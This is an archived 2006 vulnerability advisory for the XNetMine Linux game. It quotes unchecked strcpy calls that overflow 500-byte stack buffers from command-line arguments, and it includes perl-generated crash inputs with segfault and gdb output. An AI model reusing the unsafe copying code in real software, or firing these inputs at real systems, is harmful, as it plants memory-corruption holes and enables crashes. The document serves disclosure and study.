XNetMine.txt

2006-10-20T00:00:00
ID PACKETSTORM:51198
Type packetstorm
Reporter federico
Modified 2006-10-20T00:00:00

Description

                                        
                                            `This is a multi-part message in MIME format.  
--------------070909050408080804050008  
Content-Type: text/plain; charset=ISO-8859-1; format=flowed  
Content-Transfer-Encoding: 7bit  
  
//  
  
Vendor: Martin Bauer  
Software: http://ibiblio.org/pub/Linux/games/multiplayer/XNetMine.tgz  
  
*Vulnerable code:*  
--   
line: 672/676  
  
if (strncmp("-PortNumber",argv[t+1],11)==0)  
{ char text[500];  
strcpy(text,argv[t+1]);  
strcpy(Port,&text[11]);  
}  
--   
line: 677/682  
  
if (strncmp("-Name",argv[t+1],5)==0)  
{  
char text[500];  
strcpy(text,argv[t+1]);  
strcpy(User,&text[5]);  
}  
--   
line: 683/688  
  
if (strncmp("-ServerName",argv[t+1],11)==0)  
{  
char text[500];  
strcpy(text,argv[t+1]);  
strcpy(ServerName,&text[11]);  
}  
--   
  
*Proof of concept:*  
--   
federico XNetMine % ./XNetMine -Server -PortNumber`perl -e 'print "A"x498'`  
Server:1094795585 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAAAAA(...)   
ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"  
Segmentation fault  
  
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name`perl -e 'print "A"x504'`  
Server:1 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAA  
Name:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)" ServerName:""  
Segmentation fault  
  
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name31337 -ServerName`perl -e 'print "A"x504'`  
Server:1 Client:0 PortNum:31337  
Name:"31337" ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"  
Segmentation fault  
--   
  
*Debug information:*  
--   
(gdb) p $eip  
$1 = (void (*)()) 0x804a862   
(gdb) stepi  
Program terminated with signal SIGSEGV, Segmentation fault.  
The program no longer exists.  
SIGSEGV 0x0804a862 in main ()  
  
-- federico  
federico@plugs.it / http://defsol.plugs.it/  
  
//  
  
--------------070909050408080804050008  
Content-Type: text/html; charset=ISO-8859-1  
Content-Transfer-Encoding: 7bit  
  
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
<html>  
<head>  
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">  
<title></title>  
</head>  
<body bgcolor="#ffffff" text="#000000">  
<i><font><i>  
<pre>Vendor: Martin Bauer  
Software: <a class="moz-txt-link-freetext"  
href="http://ibiblio.org/pub/Linux/games/multiplayer/XNetMine.tgz">http://ibiblio.org/pub/Linux/games/multiplayer/XNetMine.tgz</a>  
  
<b>Vulnerable code:</b>  
--   
line: 672/676  
  
if (strncmp("-PortNumber",argv[t+1],11)==0)  
{ char text[500];  
strcpy(text,argv[t+1]);  
strcpy(Port,&text[11]);  
}  
--   
line: 677/682  
  
if (strncmp("-Name",argv[t+1],5)==0)  
{  
char text[500];  
strcpy(text,argv[t+1]);  
strcpy(User,&text[5]);  
}  
--   
line: 683/688  
  
if (strncmp("-ServerName",argv[t+1],11)==0)  
{  
char text[500];  
strcpy(text,argv[t+1]);  
strcpy(ServerName,&text[11]);  
}  
--   
  
<b>Proof of concept:</b>  
--   
federico XNetMine % ./XNetMine -Server -PortNumber`perl -e 'print "A"x498'`  
Server:1094795585 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAAAAA(...)   
ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"  
Segmentation fault  
  
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name`perl -e 'print "A"x504'`  
Server:1 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAA  
Name:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)" ServerName:""  
Segmentation fault  
  
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name31337 -ServerName`perl -e 'print "A"x504'`  
Server:1 Client:0 PortNum:31337  
Name:"31337" ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"  
Segmentation fault  
--   
  
<b>Debug information:</b>  
--   
(gdb) p $eip  
$1 = (void (*)()) 0x804a862 <main+753>  
(gdb) stepi  
Program terminated with signal SIGSEGV, Segmentation fault.  
The program no longer exists.  
SIGSEGV 0x0804a862 in main ()  
  
-- federico  
<a class="moz-txt-link-abbreviated" href="mailto:federico@plugs.it">federico@plugs.it</a> / <a  
class="moz-txt-link-freetext" href="http://defsol.plugs.it/">http://defsol.plugs.it/</a>  
</main+753></pre>  
</i></font></i>  
</body>  
</html>  
  
--------------070909050408080804050008--  
`